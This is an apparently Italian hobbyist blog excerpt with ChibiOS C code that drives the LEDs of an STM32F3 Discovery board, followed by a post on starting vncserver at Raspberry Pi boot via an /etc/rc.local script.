palClearPad(GPIOE, GPIOE_LED8_ORANGE);
palSetPad(GPIOE, GPIOE_LED6_GREEN);
chThdSleepMilliseconds(125);
palClearPad(GPIOE, GPIOE_LED6_GREEN);
palSetPad(GPIOE, GPIOE_LED4_BLUE);
chThdSleepMilliseconds(125);
palClearPad(GPIOE, GPIOE_LED4_BLUE);

}
}

static WORKING_AREA(waThread2, 128);

static msg_t Thread2(void *arg) {

(void)arg;
chRegSetThreadName("allLed");

if(check){
palSetPad(GPIOE, GPIOE_LED3_RED);
palSetPad(GPIOE, GPIOE_LED5_ORANGE);
palSetPad(GPIOE, GPIOE_LED7_GREEN);
palSetPad(GPIOE, GPIOE_LED9_BLUE);
palSetPad(GPIOE, GPIOE_LED10_RED);
palSetPad(GPIOE, GPIOE_LED8_ORANGE);
palSetPad(GPIOE, GPIOE_LED6_GREEN);
palSetPad(GPIOE, GPIOE_LED4_BLUE);

}
}
/*
* Application entry point.
*/
int main(void) {

/*
* System initializations.
* – HAL initialization, this also initializes the configured device drivers
* and performs the board-specific initializations.
* – Kernel initialization, the main() function becomes a thread and the
* RTOS is active.
*/

//palSetPad(GPIOE, GPIOE_LED3_RED);

halInit();
chSysInit();

//palSetPad(GPIOE, GPIOE_LED3_RED);

/*
* Activates the serial driver 1 using the driver default configuration.
* PA9(TX) and PA10(RX) are routed to USART1.
*/
sdStart(&SD1, NULL);
palSetPadMode(GPIOA, 9, PAL_MODE_ALTERNATE(7));
palSetPadMode(GPIOA, 10, PAL_MODE_ALTERNATE(7));

//palSetPad(GPIOE, GPIOE_LED3_RED);

/*
* Creates the example thread.
*/
chThdCreateStatic(waThread1, sizeof(waThread1), NORMALPRIO, Thread1, NULL);

//palSetPad(GPIOE, GPIOE_LED3_RED);

/*
* Normal main() thread activity, in this demo it does nothing except
* sleeping in a loop and check the button state, when the button is
* pressed the test procedure is launched.
*/
while (TRUE) {
if (palReadPad(GPIOA, GPIOA_BUTTON)){
chThdCreateStatic(waThread2, sizeof(waThread2), NORMALPRIO, Thread2, NULL);
chThdSleepMilliseconds(500);
}
}
}

[/sourcecode]

P.s. forse e’ ora di trovarmi una ragazza 😀

 

GitHub

https://github.com/flaviopace/FortuneWheel_STM32F3Discovery-

Raspberry Pi: Eseguire vncserver all’avvio

Raspberry Pi

Finalmente è arrivato a casa il Raspberry Pi. Settimane di attesa per poter smanettare un pò vicino a questo fantastico “giocattolino”.

Assieme a mio fratello abbiamo cercato di installare subito vncserver, ma le soluzioni che si trovano online : running-vncserver-at-startup , hanno bisogno dell’avvio del server grafico per poter lanciare correttamente il demone di vncserver.

Per ovvirare a questa limitazione, la mia soluzione avvia il demone di vncserver tramite lo script di avvio: /etc/rc.local 

[sourcecode language=”bash”]
#!/bin/sh -e
#
# rc.local
#
# This script is executed at the end of each multiuser runlevel.
# Make sure that the script will "exit 0" on success or any other
# value on error.
#
# In order to enable or disable this script just change the execution
# bits.
#
# By default this script does nothing.

# Print the IP address
_IP=$(hostname -I) || true
if [ "$_IP" ]; then
printf "My IP address is %s\n" "$_IP"
fi

#Start Vnc Server
export USER=pi
vncserver :1

exit 0

[/sourcecode]

Prima di lanciare il comando di avvio del server, ho dovuto esportare la variabile globale USER altrimenti il demone non riusciva a leggere correttamente i file di configurazione che avevo editato in /home/pi/.vnc e mi dava il seguente errore:

"Starting vncserver: Starting VNC server: 3: root vncserver: The USER
environments variable is not set"

Al primo avvio vi chiederà di inserire la password di accesso, poi la setterà in automatico ad ogni riavvio.